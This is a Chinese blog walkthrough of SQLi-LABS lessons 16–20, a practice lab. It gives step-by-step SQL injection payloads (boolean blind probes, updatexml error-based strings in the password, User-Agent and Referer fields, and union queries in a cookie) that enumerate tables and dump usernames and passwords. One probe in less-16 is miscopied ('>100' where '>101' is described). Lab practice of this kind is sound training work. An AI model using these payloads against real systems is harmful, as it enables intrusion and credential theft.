SQLi-LABS靶场16-20通过攻略

less-16

1.判断注入点

1") or 1=1 # 闭合成功

说明它的闭合方式为")

2.确定注入方式

可以发现无论输入什么只返回错误信息 只有正确和错误两个页面 

也没有看到网站的回显 可以尝试使用布尔盲注

3.判断数据库的长度

使用length函数

1") or length(database())>7 #当数据库长度>7时 页面显示正确

1") or length(database())>8 #当数据库长度>8时 页面显示不正确 说明数据库长度为8

4.查询数据库名

1") or ascii(substr(database(),1,1))>114 # 当数据库名第一个字符的ascii值大于114时页面显示正常

1") or ascii(substr(database(),1,1))>115 #

当数据库名第一个字符的ascii值大于115时页面显示不正常 说明第一位字符的ASCII码=115 也就是’s‘

以此类推 可以得出数据库名为security

5.查询当前数据库的所有表

1") or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 #

当数据库中的第一个表的第一个字符的ascii码大于100时 页面显示正常

1") or ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 #

当数据库中的第一个表的第一个字符的ascii码大于101时 页面显示不正常

说明第一张表的第一个字符的ASCII码=101 也就是’e‘

以此类推 可以得出第一张表是emails。。。。

6.查询users表中的所有字段

1") or ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>104 #

当users表中的第一个字段的第一个字符的ASCII码大于104时 页面正常显示

1") or ascii(substr((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1),1,1))>105 #

当users表中的第一个字段的第一个字符的ASCII码大于105时 页面显示不正常

说明users表中的第一个字段的第一个字符的ASCII码=105 也就是’i‘

以此类推 可以得出第一个字段为id

less-17

1.页面显示重置密码

2.尝试在密码处测试注入

在密码后加单引号 页面不正常 出现报错 可以尝试使用报错注入

使用' #可以成功闭合

3.查询数据库名

使用updatexml函数进行报错注入

admin' and updatexml(1,concat(1,database()),1) #

4.查询数据库中的所有表

注意:

当前面输入的密码为字符时并且到and时语法会出现错误

为什么查数据库名的函数没有影响呢?因为database()是mysql内置库 优先级较高 会优先执行

当前面输入的密码为整数型时不会出现语法错误  

原因:当输入为整数型时,会默认给后面的语句放在一个括号里面,并且有权限执行括号内容

1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) #

可以查到一共有4个表

5.查询users表中的所有字段

1' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) #

可以查到共有3个字段

less-18

1.判断注入点

使用burp抓包查看数据包信息

在user-agent后输入单引号引起报错 说明可以使用报错注入

2.判断闭合方式

’ and ' 闭合成功

3.查询数据库名

' and updatexml(1,concat(1,database()),1) and'

4.查询数据库中的所有表

' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) and' 

可以看到一共四个表

5.查询users表中的字段

' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) and' 

可以看到一共有三个字段

less-19

1.判断注入点

因为页面给我们回显了referer信息 我们可以通过抓包看一下

使用burp抓包查看数据包信息

在referer后输入单引号引起报错 说明可以使用报错注入

2.判断闭合方式

‘ and ’可以闭合成功

3.查询数据库名

使用报错注入查询数据库名

' and updatexml(1,concat(1,database()),1) and '

4.查询数据库中的所有表

' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) and '

5.查询users表中的所有字段

' and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) and '

6.查询users表中的所有数据

' and updatexml(1,concat(1,(select username from users limit 0,1)),1) and '

查出第一个用户名是Dumb

依次查询即可得出所有数据

less-20

1.判断注入点

登录之后没有看到注入点 使用抓包工具看一下

看到uname 可以尝试注入

在uname后加上单引号引起报错 说明存在注入 可以尝试使用报错注入

2.判断闭合方式

‘ # 可以闭合成功

3.查询数据库名

admin' and updatexml(1,concat(1,database()),1)#

4.查询数据库中的所有表

这里使用联合查询union select来查询表

uname=-admin' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 #

可以查到一共4张表

5.查询users表中的所有字段

uname=-admin' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 #

可以查到一共有3个字段

6.查询users表的所有数据

uname=admin' and updatexml(1,concat(1,(select group_concat(username,password) from users )),1) #

  • 12
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值